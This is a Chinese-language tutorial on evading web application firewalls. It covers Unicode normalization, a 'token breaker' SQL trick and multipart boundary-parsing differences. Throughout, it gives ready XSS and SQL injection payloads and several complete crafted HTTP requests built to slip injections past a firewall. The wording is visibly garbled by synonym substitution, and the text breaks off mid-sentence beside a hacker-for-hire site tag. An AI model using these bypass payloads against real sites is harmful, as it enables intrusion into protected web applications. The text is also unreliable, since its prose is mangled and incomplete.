今日咱们来接着上一篇,讲讲WAF绕过技能的其他几个方面。
Unicode标准化
让Unicode标准化是Unicode的一个功用,用于比较看起来类似的Unicode符号。例如,符号“ª”和“ᵃ”有不同的代码,但肉眼看起来十分类似。标准化之后他们都将看起来像一个简略的'a',而且被认为是相同的。标准化答应将一些杂乱的unicode符号转换为更简略的替代符号。有一个Unicode标准化表,其间包括一切Unicode符号及其或许的标准化。运用它,你能够制造不同的有用载荷,并将它们与其他办法结合起来。尽管如此,它并不适用于一切web应用程序,而且十分依赖于运转环境。
例如,在上表中,咱们能够看到符号,能够转化为XSS进犯。 WAF或许无法了解Unicode符号,它或许底子没有了解这些技巧的规矩,机器学习也或许没用,在运用Unicode标准化的Web应用程序中找到绕过办法时,咱们不只能够替换,还能够替换有用载荷中的其他符号。
例如:
<img src﹦x onerror=alert︵1)>
最近,在HackerOne的Rockstar BugBounty程序中发现了这个缝隙。没有WAF,只要严厉的用户输入过滤:
hackerone.com/reports/231444
hackerone.com/reports/231389
令牌损坏程序(Token breaker)
对令牌程序的进犯企图在所谓的令牌损坏程序的协助下,进犯将恳求拆分为令牌的逻辑。令牌损坏程序是答应影响字符串元素和特定令牌之间的通讯的符号,因而能够经过签名绕过搜索。可是当运用令牌损坏程序时,恳求有必要坚持有用。下面的恳求是运用令牌损坏程序进行进犯的一个示例。
SELECT-@1,version()
其间-@是令牌损坏程序,其间有一个chear表,是经过mysql含糊测验并在libinjection中查看成果取得的。
运用RFC的功用
在HTTP/1.1协议的标准和各种恳求类型(例如multIPart/form-data)中,咱们能够找到一些与处理标头有关的风趣的东西。由于WAF开发人员一般不考虑这些问题,因而WAF或许会过错地解析恳求,并丢掉躲藏进犯向量的部分数据。WAF中的大多数问题都与多部件/表单数据的处理和鸿沟参数的特定值有关,鸿沟参数在这些恳求中指定了参数鸿沟。除此之外,服务器开发人员或许也会犯过错,而且不完全支撑标准,所以服务器的HTTP解析器中或许存在未被记载的功用。
在具有multipart / form-data的HTTP恳求中,参数鸿沟担任恳求目标中的不同参数阻隔。依据RFC的规矩,有必要在每个新POST参数前面放置一个前面指定的带有前缀“——”的鸿沟,以便服务器能够区别恳求的不同参数。
POST /vuln.php HTTP/1.1
Host: test.com
Connection: close
Content-Type: multipart/form-data; boundary=1049989664
Content-Length: 192
--1049989664
Content-Disposition: form-data; name="id"
287356
--1049989664--
进犯还能够依据以下状况:服务器和WAF以不同的 *** 处理鸿沟为空的状况。依据RFC的规矩,在本例中,“——”是参数之间的鸿沟。但是,WAF或许运用不考虑这一点的解析器,因而,WAF将传递恳求,由于来自POST恳求参数的数据不会出现在解析器中。web服务器能够很轻松地解析这样的恳求,并将数据移交给后续处理。
请看以下示例:
POST /vuln.php HTTP/1.1
Host: test.com
Connection: close
Content-Type: multipart/form-data; boundary=
Content-Length: 192
--
Content-Disposition: form-data; name="id"
123' or sleep(20)#
----
以下是一个更风趣的示例:
POST /vuln.php HTTP/1.1
Host: test.com
Content-Type: multipart/form-data; boundary=FIRST;
Content-Type: multipart/form-data; boundary=SECOND;
Content-Type: multipart/form-data; boundary=THIRD;
--THIRD
Content-Disposition: form-data; name=param
UNION SELECT version()
--THIRD--
在上图的进犯中,咱们企图界说哪些鸿沟参数将被WAF承受,哪些参数将被web服务器承受。因而,假如它们承受不同的参数,则能够经过指定WAF看不到的鸿沟来履行进犯。这种进犯有点像HPP。
POST /vuln.php HTTP/1.1
Host: test.com
Content-Type: multipart/form-data; xxxboundaryxxx=FIRST; boundary=SECOND;
--FIRST
Content-Disposition: form-data; name=param
UNION SELECT version()
--FIRST--
此进犯依据这样的假定:WAF和web服务器对HTTP恳求的解析是不同的,也就是说,web服务器的解析器查找之一个“boundary”条目,然后查找“=”符号,之后才界说鸿沟的值。反过来,WAF解析器只查找“boundary=”条目,然后界说鸿沟的值。假如满意这些条件,WAF将无法在恳求中找到鸿沟,因而它将无法找到并剖析参数。相反,web服务器将获取恳求并处理参数。这种进犯也将以另一种 *** 作业,即web服务器[1][2][3]黑客接单网